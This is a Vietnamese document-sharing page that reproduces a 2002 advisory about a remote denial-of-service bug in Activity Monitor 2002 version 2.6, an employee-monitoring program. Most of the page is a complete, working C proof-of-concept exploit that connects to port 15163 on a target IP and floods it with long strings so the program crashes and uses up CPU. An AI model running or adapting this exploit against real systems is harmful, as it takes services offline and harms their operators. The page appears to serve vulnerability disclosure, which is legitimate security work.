1. Trang chủ
  2. » Công Nghệ Thông Tin

Lỗi của Activity Monitor 2002, remote DoS

2 364 0
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Lỗi của Activity Monitor 2002, remote DoS
Tác giả Luca Ercoli
Trường học SoftActivity
Chuyên ngành Computer Science
Thể loại Bài viết
Năm xuất bản 2002
Thành phố N/A
Định dạng
Số trang 2
Dung lượng 25,5 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Lỗi của Activity Monitor 2002, remote DoS

Trang 1

Lỗi của Activity Monitor 2002, remote DoS

trang này đã được đọc lần

Giới thiệu:

"Activity Monitor 2002 is a monitoring software system for real time employee monitoring and continuous tracking of users activities on networked computers."

More information can be found at www.softactivity.com

Mô tả:

Bằng việc kết nối TCP cổng 15163 và gửi một chuỗi dài, attacker ở xa có thể

làm cho trình bị crash và cạn kiệt tài nguyên CPU

Ảnh hưởng: Activity Monitor 2002 ver 2.6

Khai thác:

CODE

#include <stdio.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <string.h>

int main(int argc, char **argv)

{

int i,ck,port,sd;

char dos[10000];

struct sockaddr_in act_mon_server;

if(argc < 2)

{

printf("\nUsage: %s <ip>\n", argv[0]);

exit(0);

}

port = 15163;

for(i = 0; i < 10000; i++) dos[i] = 'x';

act_mon_server.sin_family = AF_INET;

act_mon_server.sin_port = htons((u_short)port);

act_mon_server.sin_addr.s_addr = (long)inet_addr(argv[1]);

sd = socket(AF_INET, SOCK_STREAM, 0);

ck = connect(sd, (struct sockaddr *) &act_mon_server, sizeof

(act_mon_server));

if(ck != 0) {

perror("Connect");

exit(0);

Trang 2

}

printf("\n\t\tProof of Concept Activity Monitor 2002 DoS\n"); printf("\t\tby Luca Ercoli luca.ercoli@inwind.it\n\n");

write(sd, dos, sizeof(dos));

write(sd, dos, sizeof(dos));

write(sd, dos, sizeof(dos));

printf("\nDoS sent!\n");

close(sd);

exit(0);

}

Ngày đăng: 02/11/2012, 14:18

TỪ KHÓA LIÊN QUAN

w